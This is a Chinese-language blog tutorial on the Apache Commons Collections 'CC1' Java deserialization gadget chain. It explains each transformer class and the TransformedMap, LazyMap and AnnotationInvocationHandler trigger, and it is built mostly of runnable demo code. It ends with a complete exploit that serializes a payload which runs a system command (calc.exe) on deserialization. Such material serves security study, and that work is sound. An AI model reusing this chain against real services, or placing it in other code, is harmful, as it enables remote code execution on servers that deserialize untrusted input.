java安全-CC链1(小宇特详解)

452 阅读5分钟

java安全-CC链1(小宇特详解)

本文已参与「新人创作礼」活动,一起开启掘金创作之路

CC链的前提是序列化和反序列化

序列化需要两个条件

  1. 该类必须实现java.io.Serlalizable接口

  2. 该类的所有属性必须是可序列化的,如果⼀个属性是不可序列化的,则属性必须标明是短暂的。

    比如:static,transient 修饰的变量不可被序列化

注意事项:

不能new 一个Runtime类

package com.CC1;

public class Demo {
    public static void main(String[] args) {
        Runtime runtime;
        runtime = new Runtime();
    }
}

Runtime是一个单例类,单例类是不能够进行new的。

CC链利用的类

CC链的原理就是利用反射获取类,放到readObject方法中

transform接口:

ConstantTransformer

作用:获取class对象

关键是调用transform方法

package com.CC1;

import org.apache.commons.collections.functors.ConstantTransformer;


public class Demo01 {
    public static void main(String[] args) {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class
        //相当于是你传入Runtime.class 下面就会返回这个类,传入什么返回什么
        Object transform = constantTransformer.transform("null");
        System.out.println(transform);
        System.out.println(transform.getClass().getName());

    }
}//作用:获取一个类的对象

invokeTransformer

把一个对象转换为另一个对象

他最常用的构造方法需要传递三个参数

第一个是methodNmae,方法

第二个是class的类型(有字符型和int型等)

第三个是方法参数

举例:methodName:"exec",new Class[]{String.class},new Object[]{cmd}

它的transform方法

就是该类接收一个对象,获取该对象的名称(通过ConstantTransformer),然后调用invoke方法传入三个参数。

那如何形成链呢

ChainedTransformer

多 个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺 序调⽤⼀系列的变换。

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo03 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}//获取到了getRuntime方法
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}//用invoke方法传递参数
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        // 执⾏对象转换操作
        transformedChain.transform(null);
    }
}

上面的三个类就能够连起来使用

  1. ConstantTransformer --> 把⼀个对象转换为常量,并返回 ->获取到了Runtime.class
  2. InvokerTransformer --> 通过反射,返回⼀个对象 -> 反射获取执行方法加入参数
  3. ChainedTransformer -->执⾏链式的Transformer⽅法 ->将反射包含的数组进行链式调用,从而连贯起来
  4. 然后看那个对象能够接收ChainedTransformer方法

TransformedMap

这个就是为了解决上面的第4步

由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer实现类分别 绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时(调用TransformedMapsetValue/put/putAll中的任意方法),就会自动触发chainedtransformer

package com.CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) {
        String cmd = "calc.exe";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new
                        Object[]{cmd})
        };
        // 创建ChainedTransformer调⽤链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
        //创建Map对象
        Map map = new HashMap();
        map.put("value", "value");
        // 使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null,
                transformedChain);
    // transformedMap.put("v1", "v2");// 执⾏put也会触发transform
    // 遍历Map元素,并调⽤setValue⽅法
        for (Object obj : transformedMap.entrySet()) {
            Map.Entry entry = (Map.Entry) obj;
    // setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链
            entry.setValue("test");
        }
//            System.out.println(transformedMap);
        }
    }

TransformedMap的条件

  1. 实现了java.io.Serializable接口;
  2. 并且可以传入我们构建的TransformedMap对象;
  3. 调用了TransformedMap中的setValue/put/putAll中的任意方法一个方法的类;

AnnotationInvocationHandler

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。 之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler

LazyMap

这里使用的map类是LazyMap

因为里面的get方法正好符合put去调用transform的情况

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是我们还需要一个类在反序列化的时候触发LazyMap类的get方法

借助AnnotationInvocationHandler类,通过AnnotationInvocationHandler类的构造方法将LazyMap传递给memberValues,也就是说我们要获得AnnotationInvocationHandler的构造器。

public Object invoke(Object var1, Method var2, Object[] var3) {
    Object var6 = this.memberValues.get(var4);
}

AnnotationInvocationHandler中的invoke方法调用了get方法

通过反射将代理对象proxyMap传给AnnotationInvocationHandler的构造方法

最终攻击代码

public static void main(String[] args) throws Exception {
    //1.客户端构建攻击代码
    //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
    };
    //将transformers数组存入ChaniedTransformer这个继承类
    Transformer transformerChain = new ChainedTransformer(transformers);

    //创建Map并绑定transformerChina
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    //给予map数据转化链
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //反射机制调用AnnotationInvocationHandler类的构造函数
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    //取消构造函数修饰符限制
    ctor.setAccessible(true);
    //获取AnnotationInvocationHandler类实例
    Object instance = ctor.newInstance(Target.class, outerMap);

    //payload序列化写入文件,模拟网络传输
    FileOutputStream f = new FileOutputStream("payload.bin");
    ObjectOutputStream fout = new ObjectOutputStream(f);
    fout.writeObject(instance);

    //2.服务端读取文件,反序列化,模拟网络传输
    FileInputStream fi = new FileInputStream("payload.bin");
    ObjectInputStream fin = new ObjectInputStream(fi);
    //服务端反序列化
    fin.readObject();
}